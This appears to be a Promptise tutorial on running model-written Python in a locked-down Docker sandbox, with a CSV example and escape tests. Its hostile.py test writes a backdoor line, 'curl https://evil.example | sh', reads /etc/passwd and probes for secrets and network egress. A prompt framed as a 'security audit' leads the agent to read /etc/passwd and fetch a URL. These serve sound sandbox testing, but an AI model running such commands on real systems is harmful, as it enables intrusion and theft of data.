PromptisePromptise
Docs
GitHub
Promptise - AI Framework LogoPromptise

The foundation layer for agentic intelligence. Build, secure and operate autonomous AI systems with Promptise Foundry.

pip install promptise

[01] Foundry

  • MCPcast
  • The Promptise Agent
  • Reasoning Engine
  • MCP
  • Agent Runtime
  • Prompt Engineering
  • Execution Engine
  • Agent Identity

[02] Resources

  • Documentation
  • GitHub
  • Guides
  • Learning Paths
  • Questions

[03] Company

  • About
  • Terms of Service
  • Privacy Policy
  • Cookie Policy
  • Subprocessors

© 2026 Promptise by Manser Ventures. All rights reserved.

Open source · Python

← Guides> AI Engineering

AI Agent Code Execution Sandbox: Run LLM Code Safely

Let an AI agent write and run Python in a Docker sandbox: analyse a CSV, try real escape attempts, set limits, and learn where the sandbox stops.

Level
Intermediate
Reading time
18 min
Published
Oct 10, 2026
Updated
Oct 11, 2026
By
Promptise Team
  • AI Agents
  • Sandbox
  • Code Execution
  • Docker
  • Python
  • Promptise Foundry

Ask a language model to add up a few hundred numbers and it will give you a confident answer that is slightly wrong. Ask it to write a Python program that adds them up, and the program gets it right every time. The catch is that you're now running code a model wrote, on your machine, and that code can be wrong, careless or steered by a prompt injection. This guide builds a code-action agent with Promptise Foundry: the model writes one Python program, the program runs in a Docker sandbox with no network, and the answer comes from real computation. You'll analyse a CSV, compare the result with a normal chat agent, try to break out of the sandbox, and see exactly where its limits are. Every snippet ran against Promptise Foundry 1.3 with Docker and OpenAI's gpt-5-mini, and every output is what it printed.

[01]

How do you run LLM-generated code safely?

Run it in a throwaway container that can't reach your files, your secrets or the network, and give it data only through functions you control. With Promptise Foundry, that's one argument on build_agent:

Pythoncode_agent.py
1
2
3
4
5
6
7
8
from promptise import build_agent

agent = await build_agent(
    model="openai:gpt-5-mini",
    servers={},
    agent_pattern="code-action",
    extra_tools=[load_orders],
)

agent_pattern="code-action" changes how the agent works. Instead of chatting with tools one call at a time, the model writes a single Python program. Promptise starts a fresh Docker container for it with no network, a read-only system, and limits on CPU and memory, runs the program, and returns the line it prints as RESULT:. Your tools, here load_orders, stay on your side. The program can call them, but it never touches what's behind them.


[02]

How a code-action agent works

The program and your tools live on opposite sides of a container wall. They talk through files in the container's /workspace folder, so the container never needs a network connection.

Rendering diagram…

When the program calls load_orders(), a small stub inside the container writes a request file and waits. Promptise, on your machine, sees the request, runs the real tool, and writes the answer back. Each run gets a new container, which is removed afterwards. If the program crashes, the model gets the error once and can fix it.

Here's what the container gets when you let code-action create it. Step 1 shows how to read these settings back from Docker:

Setting

Default

What it means

Network

none

No calling home, no downloads, no data going out

Root filesystem

Read-only

The program can't change the system or plant files

Writable space

/workspace (1 GB, set by disk_limit) and /tmp (no executables), both in memory

Scratch space that disappears with the container

CPU

2 cores

One program can't take over the machine

Memory

4 GB, no swap

Runaway allocations get killed

Processes

256

A fork bomb runs out of room

Linux capabilities

40 dropped, no-new-privileges

No privilege escalation or raw network access

Image

python:3.11-slim

Only the standard library is available


[03]

What you need

  • Python 3.10 or newer.

  • Docker, installed and running: Docker Desktop on macOS and Windows, Docker Engine on Linux. There's no fallback without it. The sandbox is always a Docker container, optionally with the gVisor runtime.

  • Promptise Foundry 1.3.1 or newer with its sandbox extra, which adds the Docker SDK for Python. The plain promptise package doesn't include it; promptise[all] does too.

  • An API key for a model provider. This guide uses OpenAI.

>_Terminal
pip install "promptise[sandbox]>=1.3.1"
export OPENAI_API_KEY="sk-..."

If you skip the Docker SDK, or Docker isn't running, a code-action agent refuses to start. These are the two errors from this guide's machine: without the SDK, and with the SDK but no Docker daemon to talk to:

Output
…
RuntimeError: agent_pattern='code-action' requires a working Docker sandbox, but it could not be initialized: The 'docker' package is required for the sandbox. Install it with: pip install 'promptise[sandbox]'
…
RuntimeError: agent_pattern='code-action' requires a working Docker sandbox, but it could not be initialized: Sandbox backend 'docker' is not available: Cannot connect to the Docker daemon (Error while fetching server API version: ('Connection aborted.', FileNotFoundError(2, 'No such file or directory'))). Make sure Docker is installed and running.

That refusal is deliberate: code-action never runs model-written code outside a container. The first run also downloads the python:3.11-slim image, about 210 MB.


[04]

Analyse a CSV with a code-action agent, step by step

The job: a CSV of 500 software orders from January to September 2026, and one question an analyst would ask. What was the revenue per region in Q3? Each row has a date, a region, a product, a quantity and a unit price, so the answer means filtering 500 rows and summing the products. That's easy for code and hard for a model doing arithmetic in its head.

Step 01

Check that the sandbox starts

Before you hand a model a container, look at the container. SandboxManager is the same machinery the agent uses, and you can drive it directly. This script starts a sandbox with the settings code-action uses, runs a few commands in it, and asks Docker how the container was really configured:

Pythonsandbox_check.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import asyncio

import docker

from promptise.sandbox import SandboxManager

CHECKS = [
    "python3 --version",
    "id",
    "touch /usr/hello",
    "echo hi > /workspace/note.txt && cat /workspace/note.txt",
]


async def main():
    # The same settings code-action uses when you don't pass your own.
    async with SandboxManager({"network": "none"}) as manager:
        session = await manager.create_session()
        for command in CHECKS:
            result = await session.execute(command)
            print(f"$ {command}")
            print((result.stdout + result.stderr).strip(), f"(exit {result.exit_code})")

        # Ask Docker how the container was really started.
        host = docker.from_env().containers.get(session.container_id).attrs["HostConfig"]
        for key in ["NetworkMode", "ReadonlyRootfs", "NanoCpus", "Memory", "PidsLimit", "SecurityOpt", "Tmpfs"]:
            print(f"{key}: {host[key]}")
        print("CapDrop:", len(host["CapDrop"]), "capabilities")


asyncio.run(main())
Output
$ python3 --version
Python 3.11.14 (exit 0)
$ id
uid=0(root) gid=0(root) groups=0(root) (exit 0)
$ touch /usr/hello
touch: cannot touch '/usr/hello': Read-only file system (exit 1)
$ echo hi > /workspace/note.txt && cat /workspace/note.txt
hi (exit 0)
NetworkMode: none
ReadonlyRootfs: True
NanoCpus: 2000000000
Memory: 4294967296
PidsLimit: 256
SecurityOpt: ['no-new-privileges']
Tmpfs: {'/tmp': 'rw,noexec,nosuid,size=1073741824', '/var/tmp': 'rw,noexec,nosuid,size=536870912', '/workspace': 'rw,size=1073741824'}
CapDrop: 40 capabilities

What to notice:

  • The system is read-only and `/workspace` is writable. That's the whole filesystem story: the program can write its scratch files and nothing else.

  • The program runs as root inside the container. Dropped capabilities and no-new-privileges keep that root weak, but it's still root on a kernel shared with the host. More on that in the limits.

  • There's a process limit. Since 1.3.0 the container gets pids_limit, 256 by default, so a fork bomb can't fill the machine with processes.

  • Docker's own profiles do the filtering. The sandbox uses Docker's default seccomp profile and, on Linux hosts with AppArmor, Docker's default AppArmor profile. Earlier versions printed a warning about a promptise-sandbox AppArmor profile they never loaded; since 1.3.0 that profile, and the warning, are gone.

Step 02

Write the agent

To follow along, generate the CSV. On Python 3.12, the fixed seed reproduces the exact file used here:

Pythonmake_orders.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import csv
import random
from datetime import date, timedelta

random.seed(15)
PRODUCTS = {"Starter": 29.0, "Team": 99.0, "Business": 249.0, "Enterprise": 899.0}
REGIONS = ["EMEA", "North America", "APAC", "LATAM"]

with open("orders.csv", "w", newline="") as f:
    writer = csv.writer(f)
    writer.writerow(["order_id", "date", "region", "product", "quantity", "unit_price"])
    for n in range(1, 501):
        day = date(2026, 1, 1) + timedelta(days=random.randrange(273))
        product = random.choice(list(PRODUCTS))
        writer.writerow([
            f"O-{n:04d}", day.isoformat(), random.choice(REGIONS), product,
            random.randint(1, 12), PRODUCTS[product],
        ])

The program can only see data you give it through tools. Write a plain function that reads the CSV and returns rows as dicts with real numbers. Structured return values arrive in the program as Python lists and dicts, so the model doesn't have to parse text.

Pythoncode_agent.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import asyncio
import csv
import logging

from langchain_core.tools import tool

from promptise import build_agent

# Print the program the model writes, and what it printed in the sandbox.
logging.basicConfig(format="%(message)s")
logging.getLogger("promptise.engine.code_action").setLevel(logging.DEBUG)


@tool("load_orders")
def load_orders() -> list:
    """Return every order as a dict: order_id, date (YYYY-MM-DD), region, product, quantity, unit_price."""
    with open("orders.csv") as f:
        return [
            {**row, "quantity": int(row["quantity"]), "unit_price": float(row["unit_price"])}
            for row in csv.DictReader(f)
        ]


async def main():
    agent = await build_agent(
        model="openai:gpt-5-mini",
        servers={},
        agent_pattern="code-action",
        extra_tools=[load_orders],
    )
    try:
        result = await agent.ainvoke({"messages": [{"role": "user", "content": (
            "What was the revenue per region in Q3 2026 (July to September)? "
            "Revenue is quantity times unit price. Sort from highest to lowest."
        )}]})
        print(">>>", result["messages"][-1].content)
    finally:
        await agent.shutdown()


asyncio.run(main())

Three details:

  • `servers={}` means no MCP servers. If you connect MCP servers, their tools are bridged into the program the same way as extra_tools.

  • The first line of the docstring is the API documentation. The model sees each tool as a Python function signature followed by that line, so name the fields it returns.

  • The debug logger is optional. It's the simplest way to see the program the model wrote, and you'll want to see it.

Step 03

Run it and read the program

>_Terminal
python code_agent.py
Output
code-action program:
from promptise_tools import *  # noqa

import json
import csv
from io import StringIO
from datetime import datetime

# load_orders is provided by the environment
# It should return orders in some form; handle multiple possible return types robustly.
orders_raw = load_orders()

…
    if not (start_q3 <= dt <= end_q3):
        continue
    q = to_number(qty)
    p = to_number(price)
    revenue = q * p
    # Normalize region as string
    region_key = str(region).strip()
    revenue_by_region[region_key] = revenue_by_region.get(region_key, 0.0) + revenue
…
# Prepare sorted list from highest to lowest revenue
sorted_regions = sorted(revenue_by_region.items(), key=lambda x: x[1], reverse=True)

# Round revenues to 2 decimals
result_list = [{"region": r, "revenue": round(v + 0.0, 2)} for r, v in sorted_regions]

# Print final result line as required
print("RESULT: " + json.dumps(result_list))
code-action exit=0 stdout='RESULT: [{"region": "North America", "revenue": 108664.0}, {"region": "LATAM", "revenue": 81328.0}, {"region": "EMEA", "revenue": 77689.0}, {"region": "APAC", "revenue": 65023.0}]\n' stderr=''
…
>>> [{"region": "North America", "revenue": 108664.0}, {"region": "LATAM", "revenue": 81328.0}, {"region": "EMEA", "revenue": 77689.0}, {"region": "APAC", "revenue": 65023.0}]

The model wrote a 140-line program in one turn. Most of it is defensive: Promptise tells the model to handle tool results that might be strings, so it checks every shape the data could take and every spelling of every field name. When this guide was first written, the same kind of fallback in the model's program parsed unknown strings with eval(); this time it used json.loads and the csv module. You can't count on either. On your laptop, eval() on data from a tool is how a malicious record becomes code. In the sandbox it's an ugly line with nowhere to go. That's the case for a sandbox in one line.

Notice too what the answer is: the RESULT: line, exactly as the program printed it. Code-action doesn't write prose around it. If you need a friendly sentence, ask for one in the question, or pass the result to a second call.

Step 04

Check the answer, and compare with a chat agent

Code gives you an answer you can check. This is the same calculation in plain Python, without any model:

Pythoncheck_answer.py
1
2
3
4
5
6
7
8
9
10
11
import csv
from collections import defaultdict

revenue = defaultdict(float)
with open("orders.csv") as f:
    for row in csv.DictReader(f):
        if "2026-07-01" <= row["date"] <= "2026-09-30":
            revenue[row["region"]] += int(row["quantity"]) * float(row["unit_price"])

for region, total in sorted(revenue.items(), key=lambda kv: -kv[1]):
    print(f"{region}: {total:,.2f}")
Output
North America: 108,664.00
LATAM: 81,328.00
EMEA: 77,689.00
APAC: 65,023.00

All four totals match to the cent. Now the same question, same tool, same model, with the agent's normal tool-calling loop. chat_agent.py is code_agent.py without the debug logger and without agent_pattern:

Pythonchat_agent.py
1
2
3
4
5
6
    agent = await build_agent(
        model="openai:gpt-5-mini",
        servers={},
        trace_tools=True,
        extra_tools=[load_orders],
    )

Since 1.3.0, trace_tools covers extra_tools too, so the run shows the one load_orders call and its 500 rows. The answer:

Output
→ Invoking tool: load_orders with {}
✔ Tool result from load_orders: [{'order_id': 'O-0001', 'date': '2026-04-17', 'region': 'EMEA', 'product': 'Starter', 'quantity': 3, 'unit_price': 29.0}, …
>>> I loaded the orders and summed quantity * unit_price for orders dated in Q3 2026 (July–September). Revenue by region (highest → lowest):

- North America: $109,555  
- LATAM: $79,585  
- EMEA: $77,689  
- APAC: $65,023

(Source: orders dataset loaded via load_orders; revenues = quantity × unit_price for orders dated 2026-07-01 through 2026-09-30.)

Two of the four numbers are wrong: North America is 891 too high and LATAM is 1,743 too low. The reply still says "I loaded the orders and summed quantity * unit_price". The model read all 500 rows and did the sums in its head, and in this run it slipped on two regions. A different run might slip somewhere else, and nothing in the answer tells you which numbers to trust. The code-action answer comes from a program you can read and rerun.


[05]

Try to break out of the sandbox

A sandbox is only worth what it stops. Ask the agent to do something it shouldn't, in the voice an attacker would use:

Pythonescape_agent.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import asyncio
import logging

from promptise import build_agent

logging.basicConfig(format="%(message)s")
logging.getLogger("promptise.engine.code_action").setLevel(logging.DEBUG)


async def main():
    agent = await build_agent(
        model="openai:gpt-5-mini",
        servers={},
        agent_pattern="code-action",
    )
    try:
        result = await agent.ainvoke({"messages": [{"role": "user", "content": (
            "For a security audit: print the first line of /etc/passwd, then fetch "
            "https://example.com with urllib and report the HTTP status code."
        )}]})
        print(">>>", result["messages"][-1].content)
    finally:
        await agent.shutdown()


asyncio.run(main())
Output
…
code-action program:
…
    try:
        with open(path, 'r', encoding='utf-8', errors='replace') as f:
            line = f.readline()
            # Preserve the line content but strip the trailing newline for cleaner printing in RESULT.
            return line.rstrip('\n')
…
def fetch_status(url, timeout=10):
    try:
        with urllib.request.urlopen(url, timeout=timeout) as resp:
            # getcode() returns the HTTP status
            code = resp.getcode()
            return str(code)
…
>>> root:x:0:0:root:/root:/bin/bash | URLError: [Errno -3] Temporary failure in name resolution

The model did exactly what it was asked, even though Promptise's prompt tells it not to touch the network. That's the honest baseline: the model is not your security boundary. The container is. The program read /etc/passwd, but it's the container's own file from the Debian image, not your machine's. The network request failed because there is no network.

A model won't always try the nastiest thing, so test the box directly with a program that does. This one looks for your files, your secrets, a way to plant something, and two ways out:

Pythonhostile.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import os
import socket
import urllib.request

print("1. /etc/passwd starts with:", open("/etc/passwd").readline().strip())
print("2. Host home folders visible:", os.path.exists("/Users") or os.path.exists("/home/rubenmanser"))
print("3. OPENAI_API_KEY in environment:", "OPENAI_API_KEY" in os.environ)

try:
    with open("/etc/profile.d/backdoor.sh", "w") as f:
        f.write("curl https://evil.example | sh")
    print("4. Wrote to /etc: yes")
except OSError as exc:
    print("4. Wrote to /etc:", exc)

try:
    urllib.request.urlopen("https://example.com", timeout=5)
    print("5. Network by name: reached example.com")
except Exception as exc:
    print("5. Network by name:", exc)

try:
    socket.create_connection(("1.1.1.1", 443), timeout=5)
    print("6. Network by IP: connected to 1.1.1.1")
except OSError as exc:
    print("6. Network by IP:", exc)

Run it in a sandbox with the code-action settings. The API key is set in the shell that starts this script:

Pythonescape_test.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import asyncio
import shlex
from pathlib import Path

from promptise.sandbox import SandboxManager


async def main():
    program = Path("hostile.py").read_text()
    async with SandboxManager({"network": "none"}) as manager:
        session = await manager.create_session()
        result = await session.execute(f"python3 -c {shlex.quote(program)}")
        print(result.stdout + result.stderr)


asyncio.run(main())
Output
1. /etc/passwd starts with: root:x:0:0:root:/root:/bin/bash
2. Host home folders visible: False
3. OPENAI_API_KEY in environment: False
4. Wrote to /etc: [Errno 30] Read-only file system: '/etc/profile.d/backdoor.sh'
5. Network by name: <urlopen error [Errno -3] Temporary failure in name resolution>
6. Network by IP: [Errno 101] Network is unreachable

Six attempts, six dead ends. The host's folders aren't mounted. Your environment variables, including the API key in the parent process, don't cross into the container. The system can't be changed, and there's no route out, by name or by IP address.


[06]

Set your own limits without opening the network

You'll want tighter limits than 4 GB and 2 cores for most jobs. Pass a dict as sandbox=. Before Promptise 1.3.0 that was a trap: your own dict fell back to the restricted network, which the default image couldn't enforce, and the escape agent with only a memory limit added reached example.com. Since 1.3.0, every sandbox uses network="none" unless you set it, and unknown settings are refused. You can check both without starting a container:

Pythonconfig_check.py
1
2
3
4
5
6
7
8
from promptise.sandbox import SandboxConfig

for settings in ({}, {"memory_limit": "512M"}, {"network_mode": "none"}):
    try:
        config = SandboxConfig(**settings)
        print(f"{settings}: network={config.network.value}, pids_limit={config.pids_limit}, disk_limit={config.disk_limit}")
    except ValueError as exc:
        print(f"{settings}: {type(exc).__name__}: {exc.errors()[0]['msg'] if hasattr(exc, 'errors') else exc}")
Output
{}: network=none, pids_limit=256, disk_limit=1G
{'memory_limit': '512M'}: network=none, pids_limit=256, disk_limit=1G
{'network_mode': 'none'}: ValidationError: Value error, Unknown sandbox option(s): 'network_mode': use 'network' ("none", "restricted" or "full"). Valid options: backend, image, cpu_limit, memory_limit, disk_limit, pids_limit, network, persistent, timeout, workdir, env, allow_sudo, runtime, read_only_rootfs

A dict with only a memory limit keeps the network closed, and network_mode, the spelling older docs used, is refused with a hint instead of being ignored. If you do need network="restricted" (DNS, HTTP and HTTPS only), it now installs its egress filter before any code runs, and the session refuses to start if it can't. Naming the network yourself still documents the intent. Here's the escape agent with a memory limit:

Pythonnetwork_fixed.py
        agent_pattern="code-action",
        sandbox={"network": "none", "memory_limit": "512M"},
Output
…
[promptise] Sandbox ready for code-action (backend: docker)
…
>>> root:x:0:0:root:/root:/bin/bash || ERROR: <urlopen error [Errno -3] Temporary failure in name resolution>

No way out, with the memory limit in place.

Note

Since 1.3.0, misspelt sandbox settings raise a ValidationError with a "did you mean" hint, and tools is no longer a setting: pick an image that already contains what you need.

The limits themselves work. This script gives a sandbox 256 MB and a 5-second time limit, then breaks both:

Pythonlimits_test.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import asyncio

from promptise.sandbox import SandboxManager

GREEDY = "python3 -c 'blocks = [bytearray(50_000_000) for _ in range(20)]; print(\"got 1 GB\")'"
SLOW = "python3 -c 'while True: pass'"


async def main():
    config = {"network": "none", "memory_limit": "256M", "cpu_limit": 1, "timeout": 5}
    async with SandboxManager(config) as manager:
        session = await manager.create_session()

        result = await session.execute(GREEDY)
        print(f"memory: exit {result.exit_code}, output {result.stdout + result.stderr!r}")

        result = await session.execute(SLOW)
        print(f"time:   exit {result.exit_code}, timed out {result.timeout}, {result.stderr!r}")


asyncio.run(main())
Output
…
memory: exit 137, output ''
time:   exit -1, timed out True, 'Command timed out after 5 seconds; its processes were killed'

Exit code 137 means the kernel killed the program when it went over 256 MB. The endless loop came back as timed out after 5 seconds, and since 1.3.0 the loop is also killed inside the container, together with any processes it started, as the result says. Before 1.3.0 it kept running.

In code-action, the program's own time limit is separate from the sandbox timeout. It's 120 seconds by default. Since 1.3.0, build_agent(code_action={"exec_timeout": 60, "max_repairs": 2, "max_tool_calls": 10}) sets it, along with the number of repair attempts (default 1) and the cap on tool calls per run (default 50).


[07]

Give the agent a shell instead

There's a second mode. Pass sandbox= without agent_pattern="code-action", and the agent keeps its normal tool loop but gets five tools for one long-lived container: sandbox_exec, sandbox_read_file, sandbox_write_file, sandbox_list_files and sandbox_install_package. It suits open-ended work where the agent explores step by step.

Pythonshell_agent.py
1
2
3
4
5
6
    agent = await build_agent(
        model="openai:gpt-5-mini",
        servers={},
        sandbox={"network": "none"},
        trace_tools=True,
    )

Before 1.3.0 this mode had a bug you'd hit straight away: sandbox_write_file copied files in through Docker's archive API, which Docker refuses on a read-only container, so writing /workspace/fib.py failed with container rootfs is marked read-only.

Since 1.3.0, sandbox_write_file and SandboxSession.write_file write files from inside the container, in base64 slices, to a temporary name that's renamed into place, so writes to /workspace work and missing folders are created. In this guide's run, the shell agent wrote /workspace/scripts/fib.py with sandbox_write_file and ran it. escape_test.py above passes the program through the shell, which works in every version. Code-action was never affected: it writes its files from inside the container.

This mode fails closed too. Since 1.3.0, if Docker isn't available, build_agent raises instead of building the agent without the sandbox tools, as earlier versions did:

Output
…
RuntimeError: sandbox={'network': 'none'} requires a working Docker sandbox, but it could not be initialized: Sandbox backend 'docker' is not available: Cannot connect to the Docker daemon (Error while fetching server API version: ('Connection aborted.', FileNotFoundError(2, 'No such file or directory'))). Make sure Docker is installed and running.

[08]

Honest limits

A Docker sandbox with no network stops the attacks above. It isn't a security product for hostile multi-tenant code, and Promptise 1.3 has limits you should know before you rely on it:

  • Root in a container is not root in a VM. The program runs as root on a kernel it shares with the host, with capabilities dropped and Docker's default seccomp filter. For untrusted input, use the gVisor backend, {"backend": "gvisor", "network": "none"}, which adds a user-space kernel. It needs runsc installed into Docker on a Linux host. Without it, the sandbox refuses to start and says that runsc isn't registered with Docker, listing the runtimes that are.

  • Only the standard library. The default image has no pandas or numpy. sandbox_install_package installs into /workspace, but it needs a network, and the default is none. Build an image with what you need and set image.

  • Writable space lives in memory. /workspace is a tmpfs sized by disk_limit (1 GB by default), and it counts toward memory_limit.

  • The reply is the `RESULT:` line as printed. Since 1.3.0, code-action also gives the program-writing model the earlier turns of the conversation, but it still answers with what the program prints.

  • A new container per run. Start-up time is added to every question, and to every repair attempt.

  • The bridge is a door you open on purpose. The program can call every tool the agent has, as often as the tool-call cap allows (50 by default). Give a code-action agent only the tools it needs. If you pass approval= to build_agent, the bridged calls go through it too.


[09]

Frequently asked questions

What is a code-action agent?

An agent that answers by writing and running a program instead of calling tools one at a time. The model writes one Python program that calls your tools as functions and computes the answer, and the program runs in a sandbox. It's best for "gather the data, then calculate" tasks: totals, averages, joins and counts. For conversation and one-off lookups, a normal tool loop is simpler and faster.

Is Docker enough to sandbox AI agent code?

For code from your own model working on your own data, a locked-down container with no network is a reasonable boundary, and the escape attempts above show what it stops. Containers share the host kernel, so a kernel bug can break the wall. For code influenced by untrusted users, add gVisor, or run sandboxes on a separate machine or VM.

Can the agent use pandas or install packages?

Not with the defaults. The python:3.11-slim image has only the standard library, and installing packages needs a network, which the sandbox doesn't have by default. Build your own image with the packages baked in and pass it as image in the sandbox settings. That keeps the network closed and makes runs repeatable.

Does it work without Docker?

No. Code-action refuses to start without a working Docker sandbox, so model-written code never runs on your machine directly. Since 1.3.0 the shell mode, sandbox= without code-action, refuses to start too.

How is this different from a code interpreter tool?

A code interpreter is usually one tool among many: the model chats, calls the interpreter when it decides to, and reads the output. Code-action makes the program the whole answer. Your other tools become functions the program calls, so fetching and computing happen in one deterministic run instead of a long conversation.


[10]

Where to go next

  • Code-Action guide: the bridge, repair, and when to use the pattern.

  • Sandbox: every sandbox setting and the SandboxManager API.

  • Reasoning Patterns: code-action next to ReAct and the other built-in patterns.

  • Human approval: put a person in front of tools that change things, including bridged calls.

  • How to Connect MCP Servers to Your AI Agent in Python: give the program real data sources through MCP.

  • OpenAPI to MCP: Turn Any REST API into an MCP Server: turn your API into tools a code-action program can call.

Learning paths

Want more structure? Paths put guides in order, like a short course.

See the paths →

Keep going.

Browse every guide by topic and level, or follow a learning path that puts them in order.

All guidesLearning paths